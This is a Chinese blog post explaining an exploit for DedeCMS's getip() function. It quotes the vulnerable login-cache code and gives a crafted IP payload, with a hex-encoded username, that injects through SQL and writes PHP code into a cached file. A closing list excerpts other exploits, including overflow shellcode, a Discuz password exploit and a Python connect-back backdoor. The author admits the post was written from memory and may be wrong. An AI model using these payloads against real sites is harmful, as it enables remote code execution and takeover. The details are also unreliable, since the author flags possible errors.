Dedecms getip()的漏洞利用代码

author: superhei
team:http://www.ph4nt0m.org
blog:http://superhei.blogbus.com

在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php

function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);
if(is_array($row))
{
$scrow = $dsql->GetOne(”Select titles From #@__scores where integral<={$row['scores']} order by integral desc”);
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //这里
else return ”;
}

WriteUserInfos()的代码:

//写入用户的会话信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__).”/cache/user/$tpath/”;
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = “<”.”?php\r\n”;
$infos .= “\$cfg_userinfos['wtime'] = ‘”.mytime().”‘;\r\n”;
foreach($row as $k=>$v){
if(ereg('[^0-9]‘,$k)){
$v = str_replace(”‘”,”\\'”,$v); //这个是利用的关键 
$v = ereg_replace(”(<\?|\?>)”,”",$v);
$infos .= “\$cfg_userinfos['{$k}'] = ‘{$v}';\r\n”;
}
}
$infos .= “\r\n?”.”>”;
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}

我们构造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;

mysql> select 0×68656967655C273B706870696E666F28293B2F2F;
+——————————————–+
| 0×68656967655C273B706870696E666F28293B2F2F |
+——————————————–+
| heige\';phpinfo();//                       |
+——————————————–+
1 row in set (0.00 sec)

利用流程:
A:
else{ //成功登录
//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;
$dsql->ExecuteNoneQuery(”update #@__member set logintime='”.mytime().”‘,loginip='”.$ipp.”‘ where ID='{$row['ID']}';”);

B:FushCache()

$row = $dsql->GetOne(”Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' “);

C:WriteUserInfos()

heige\';phpinfo();// —str_replace–>heige\\';phpinfo();//—fwrite—>heige\\';phpinfo();//

===>$cfg_userinfos['uname'] = ‘heige\\';phpinfo();//'; 完美闭和前面的'

其中str_replace的部分相当于代码:

<?php
$v=”heige\';phpinfo();//”;
$v = str_replace(”‘”,”\\'”,$v);
print $v;
?>

整个过程其实就是一个很完整的”二次攻击”,而str_replace(”‘”,”\\'”,$v);起了关键性的作用

[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]

(0)

相关推荐

  • Dedecms getip()的漏洞利用代码

    author: superhei team:http://www.ph4nt0m.org blog:http://superhei.blogbus.com 在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php function FushCache($mid=0) { if(empty($mid)) $mid = $this->M_ID; $dsql = new DedeSql(); $row = $dsql->GetOne("Select ID,

  • Windows Live的@live.com域名注册漏洞 利用代码

    又一个Windows Live的@live.com域名注册漏洞被发现,现在我们只要通过简单的一段JS代码就可以给Windows Live的注册界面添加@live.com地址,让人惊讶的是,硬塞进去的地址竟然可以成功注册到帐号!又是一次极好的机会,大家快来一起上吧! Update:更新代码,提供更多域名,包括live.cn方法简单: 1.进入这个页面:http://get.live.com/getlive/overview2.点击"立即注册"按钮3.在地址栏粘贴以下文件中的代码,并回车:

  • PHP 5.2.3 tidy扩展本地溢出漏洞利用代码

    复制代码 代码如下: <?php if (!extension_loaded("tidy")){die("you need Tidy extension loaded!");} $scode =  "\xfc\xbb\xc7\xc4\x05\xc9\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85".  "\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x3b\x2c\x41

  • 小议yxbbs漏洞利用代码

    1.任意文件下载漏洞. 漏洞文件: ViewFile.asp Function ChkFile(FileName)  Dim Temp,FileType,F  ChkFile=false  FileType=Lcase(Split(FileName,".")(ubound(Split(FileName,"."))))  Temp="|asp|aspx|cgi|php|cdx|cer|asa|"  If Instr(Temp,"|&quo

  • discuz 任意管理员密码漏洞利用工具 vbs代码

    也利于修改 以下是search.inc.php 文件漏洞利用代码VBS版 复制代码 代码如下: Dim strUrl,strSite,strPath,strUid showB() Set Args = Wscript.Arguments If Args.Count <> 3 Then ShowU() Else strSite=Args(0) strPath=Args(1) strUid=Args(2) End If strUrl="action=search&searchid

  • 在漏洞利用Python代码真的很爽

    不知道怎么忽然想看这个,呵呵 小我的python的反shell的代码 #!/usr/bin/python # Python Connect-back Backdoor # Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com> # Version: 1.0 # Date: July 15th 2006 import sys import os import socket shell = "/bin/sh" def usage(progra

  • phpwind管理权限泄露漏洞利用程序发布

    漏洞发布:http://www.80sec.com/  漏洞作者:jianxin@80sec.com  漏洞厂商: http://www.phpwind.com/ 本漏洞影响phpwind所有版本  漏洞危害:高  漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作 利用方式:http://www.80sec.com有提供exploit  漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导致

  • 从MS03-049漏洞利用看调试系统进程(图)

    适合读者:漏洞分析员.黑迷 前置知识:溢出漏洞基本调试步骤.Softice基本使用方法 WTF:Windows XP SP2相信是大家都在关注的一个系统,这个版本刚推出的时候,由于其具有溢出保护机制,传统的溢出利用方式已经不行了,它也因此而备受青睐.记得当时同行们也开始嘀咕着是否还有继续研究溢出漏洞利用技术的必要.但是随着时间的推移,XP SP2也慢慢暴露出与以前的操作系统版本存在的兼容性问题,比如,有的软件在Windows 2000或XP SP0.SP1上能正常使用,在SP2上却不行:XP S

  • 关于Redis未授权访问漏洞利用的介绍与修复建议

    前言 本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容,文中对该漏洞进行了详细,并给出了相对应的修复/安全建议,下面话不多说了,来一起看看详细的介绍吧. 一.漏洞介绍 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据.攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Re

  • 伯乐asp收信程序漏洞及利用程序利用代码

    http://forum.eviloctal.com/thread-32151-1-1.html  之后又有会员PM我..加上事过已久..也不是什么保密的东西了..网上也许到处都是了..就考虑把东西发出来..算是个学习吧..  伯乐的收信程序(针对以前的老版本.后来修补了这个漏洞)  主数据库名第一次使用设置时是随机产生的..但因为他是通用收信程序..可以截获密保..  mibao.asp文件对提交的参数没有任何过滤  复制代码 代码如下: if action="put" then  

随机推荐